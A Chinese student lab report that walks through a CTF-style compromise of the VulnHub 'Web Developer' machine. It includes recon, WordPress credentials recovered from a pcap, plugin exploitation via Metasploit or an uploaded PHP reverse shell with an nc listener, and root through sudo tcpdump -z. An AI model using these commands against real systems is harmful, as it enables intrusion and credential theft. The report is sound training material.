- 实验目的和要求
实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。
系统环境:Kali Linux 2、WebDeveloper靶机来源:https://www.vulnhub.com/
实验工具:不限
实验步骤和内容:
目的:获取靶机Web Developer 文件/root/flag.txt中flag。
基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。
实施细节如下:
- 发现目标 (netdiscover),找到WebDeveloper的IP地址。截图。
2、:利用NMAP扫描目标主机,发现目标主机端口开放、服务情况,截图并说明目标提供的服务有哪些?(利用第一次实验知识点)
目标主机提供http的web服务,用于计算机之间加密登录的ssh服务
3.若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。截图。是否有可用信息?
4、利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么?
5、网络搜索wpscan,简要说明其功能。
1.WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。我们还使用了 Nikto ,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分
2.WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能
3.该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
6、使用 Dirb 爆破网站目录。(Dirb 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑)截图。找到一
个似乎和网络流量有关的目录(路径)。
7、浏览器访问该目录(路径),发现一个cap文件。截图。
8、利用Wireshark分析该数据包,分析TCP数据流。找到什么有用的信息?截图。
9、利用上一步得到的信息进入网站后台。
8、利用该CMS存在的(插件Plugin)漏洞。
9、利用该插件漏洞提权。
可选方案1:利用MeterSploit插件+reflex gallery插件漏洞实现。安装reflex gallery插件。利用该插件可能存在的漏洞。
在kali中输入msfconsole进入MeterSploit控制台,分别输入use exploit/unix/webapp/wp_reflexgallery_file_upload、set rhosts [靶机ip]、exploit,从而建立对话
在会话中输入cat wp-config.php查看账号和密码。
可选方案2:上传反弹shell。
php-reverse-shell | pentestmonkey
【目的:PHP网站渗透;实现途径:上传网站后,URL访问(含有)该反弹shell的页面。
功能:该脚本会发起反弹TCP连接到攻击者(脚本中指定攻击者IP地址和端口号)。】
该CMS为PHP开发,可以利用其实现反弹shell。但必须修改初始化IP地址和端口。(指向攻击者)。
1.在上述链接中下载php-reverse-shell
进入后台,找到任意一个PHP页面,然后利用php-reverse-shell.PHP的代码修改该页面的代码。
修改代码中反弹目标的IP地址及端口(修改为攻击者IP地址及开放的端口号)。
攻击者在Kali中利用NC开始监听,攻击者浏览器访问修改的PHP页面。从而得到反弹shell,进而在会话中输入cd /var/www/html/、cat wp-config.php查看账号和密码
方案3:利用文件管理插件(File manager)漏洞。
安装该插件,直接可以浏览wp-config.php。并从中找出数据库的密码
10、SSH登录服务器
尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。截图。
1、尝试查看/root/flag.txt
均无法查看。
10、使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令。)
查看当前身份可执行的命令。
发现可以root权限执行tcpdump命令
创建攻击文件
touch /tmp/exploit1
写入shellcode
echo 'cat /root/flag.txt' > /tmp/exploit
赋予可执行权限
chmod +x /tmp/exploit
利用tcpdump执行任意命令
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
获得flag
实验小结
针对方案一而言,需要使用MeterSploit插件,故需要查看其是否安装,若未安装,输入apt-get install metasploit-framework进行安装,随后输入msfconsole进入控制台并让靶机与kali虚拟机建立会话,随后输入命令cat wp-config.php以查看账号和密码,不过因为给出的reflex gallery插件为压缩包,无法直接查看,故在此之前应先输入cd /var/www/html这个命令才能查看。
针对方案二而言,需要在给出的链接中安装相应的软件,打开后将其中的$ip改为攻击机ip,$port改为4444,随后进入网站后台,找到任意一个PHP界面,并将软件中的PHP代码复制到其中,随后使用攻击机浏览器打开,并在攻击机终端输入nc -lvp 4444进行监听,随后得到账号和密码。
针对方案三而言,需要在网站下载File Manager并激活,而后在其中就可以找到账号和密码,随后进入kali终端输入webdeveloper@靶机ip以进入系统,进入系统后尝试查看/root/flag.txt发现无法查看,但却发现可以root权限执行tcpdump命令,随后输入命令创建攻击文件、写入shellcode、赋予可执行权限、利用tcpdump执行任意命令便可查看flag.txt